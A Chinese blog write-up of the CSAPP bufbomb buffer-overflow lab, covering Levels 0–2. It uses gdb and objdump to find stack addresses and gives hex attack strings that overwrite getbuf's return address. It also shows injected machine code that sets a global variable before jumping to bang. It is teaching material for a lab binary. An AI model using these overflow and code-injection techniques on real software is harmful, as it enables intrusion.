1. 程式人生 > >CSAPP:逆向工程【緩衝區溢位攻擊】

CSAPP:逆向工程【緩衝區溢位攻擊】

逆向工程【緩衝區溢位攻擊】

任務描述

掌握函式呼叫時的棧幀結構,利用輸入緩衝區的溢位漏洞,將攻擊程式碼嵌入當前程式的棧幀中,使程式執行我們所期望的過程。

主要方法

溢位的字元將覆蓋棧幀上的資料,會覆蓋程式呼叫的返回地址,這賦予了我們控制程式流程的能力。通過構造溢位字串,程式將“返回”至我們想要的程式碼上。

實驗包括三個可執行檔案:
---| bufbomb為目標程式
---| makecookie可以生成bufbomb需要的輸入引數的cookie(也可以在gdb除錯時直接讀取暫存器獲得)
---| sendstring可以將ASCII碼轉成字元(實驗用到了拓展ASCII碼)

程式執行時棧幀結構

Level0:Somke

getbuf函式在test中被呼叫,當getbuf返回時繼續執行第八行:

void test() 
{ 
    int val; 
    volatile int local = 0xdeadbeef; 
    entry_check(3); /* Make sure entered this function properly */ 
    val = getbuf(); 
    /* Check for corrupted stack */ 
    if (local != 0xdeadbeef) { 
        printf("Sabotaged!: the stack has been corrupted\n"); 
    } 
    else if (val == cookie) { 
        ......
    }
}

Bufbomb中一個正常情況下不會被執行的函式:

void smoke() 
{ 
    entry_check(0); /* Make sure entered this function properly */ 
    printf("Smoke!: You called smoke()\n"); 
    validate(0); 
    exit(0); 
}

攻擊目標

在getbuf返回時跳到smoke函式執行。

思路

1、通過gdb除錯得到我們輸入的字串首地址p/x $ebp-0xc
2、找到函式smoke的地址p/x &smoke
3、用smoke函式的地址覆蓋getbuf的返回地址

操作

首先對可執行程式進行反彙編objdump -d bufbomb > bufbomb.s


反彙編得到的彙編碼中,找到getbuf的程式碼段,可以看到緩衝區首地址為-0xc(%ebp),%eax
開啟gdb除錯,在Gets函式執行前設定斷點b *0x8048fec
執行程式,輸入測試字元:

得到緩衝區首地址為0xffffb16c

得到smoke函式入口地址0x8048e20

接下來只需要構造攻擊字串,使得字串溢位部分覆蓋返回地址,達到“返回”到smoke函式的目的。

根據程式執行時的棧幀結構,可以得到返回地址儲存在ebp暫存器的後4位元組,輸入緩衝區大小為0xc+4,最終得到攻擊字串長度應該為0xc+4+4=20位元組。
只要輸入字串的最後4位元組為smoke函式入口地址即可跳轉,前16位元組資料可以為任意值,小端模式下攻擊字串如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
將字串儲存到exploit1.txt檔案中,使用./sendstring <exploit1.txt> exploit1_raw.txt將ASCII碼轉為實際字元。
執行程式測試執行結果./bufbomb -t USTCSA < exploit1_raw.txt

Level1:Fizz

另一函式

void fizz(int val) 
{ 
    entry_check(1); /* Make sure entered this function properly */ 
    if (val == cookie) { 
        printf("Fizz!: You called fizz(0x%x)\n", val); 
        validate(1); 
    } else 
        printf("Misfire: You called fizz(0x%x)\n", val); 
    exit(0); 
}

攻擊目標

“返回”到該函式並傳送引數cookie

操作

原理與smoke相同,觀察棧幀結構可以發現只需要在smoke攻擊字串後面再繼續覆蓋呼叫棧幀的引數。

fizz入口地址為0x8048dc0.
與smoke相同,ebp+4為棧幀返回地址。

執行完ret指令後棧頂指標 %esp 會自動增加4以還原棧幀。

在fizz彙編程式碼段,cmp指令是將存放cookie的變數與%ebp+0x8處的值相比,此時引數地址也就是舊的ebp+4+8。

cookie值通過./makecookie USTCSA獲得。

通過以上分析可以得到,fizz攻擊的字串與smoke相比,只需要將ebp之上4個位元組的地址覆蓋,然後再往上8位元組填入cookie引數。

除了fizz的入口地址與cookie引數,其餘位元組都可以用任意值填充,得到一下攻擊字串。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11
再使用sendstring獲得新的攻擊字元,執行程式測試執行結果

Level2:Bang

第三個函式

int global_value = 0; 
void bang(int val) 
{ 
    entry_check(2); /* Make sure entered this function properly */ 
    if (global_value == cookie) { 
        printf("Bang!: You set global_value to 0x%x\n", global_value); 
        validate(2); 
    } else {
        printf("Misfire: global_value = 0x%x\n", global_value); 
        exit(0); 
    }
}

攻擊目標

構造若干條指令,修改全域性變數global_val,然後跳轉到bang函式
(需要execstack工具解除棧執行限制)

操作

與smoke和fizz不同的是,這裡不在是簡單的纂改返回地址。因為涉及到修改全域性變數,所以需要注入我們自己的程式碼,然後將返回地址篡改到攻擊程式碼處執行,最後ret到bang函式。

通過前兩個實驗的分析,已經得知輸入緩衝區最大有16位元組的空間,而我們注入的程式碼正好只需要16位元組空間。

以下是我們想要新增執行的彙編碼:

movl    $0x11d35fc1, 0x804a1dc
push    $0x8048d60
ret

movl指令將我們的cookie(11d35fc1)傳遞到0x804a1dc(cmp指令對比時的全域性變數取值)
push指令將bang函式的入口地址壓棧
ret指令返回我們最後壓入的bang函式入口,實現跳轉的效果

將我們自己寫的彙編碼儲存,通過gcc將彙編碼編譯成機器碼
gcc -m32 -c bang.s獲得bang.o
再將機器碼讀取
objdump -d bang.o

bang.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   c7 05 dc a1 04 08 c1    movl   $0x11d35fc1,0x804a1dc
   7:   5f d3 11 
   a:   68 60 8d 04 08          push   $0x8048d60
   f:   c3                      ret    

c7 05 dc a1 04 08 c1
5f d3 11
68 60 8d 04 08
c3

獲得我們自己想要操作的指令機器碼。

只需要在這段字串後再加上緩衝區的首地址,用來覆蓋原返回地址,可獲得最後的攻擊字串:
c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff

使用sendstring獲得新的攻擊字元,執行程式測試執行結果

提示執行失敗。。。。。。。。。
一直以為是自己那裡寫錯了,折騰了一下午(微笑臉)

出現段錯誤是因為Linux系統預設開啟了棧保護機制,用於阻止緩衝區溢位攻擊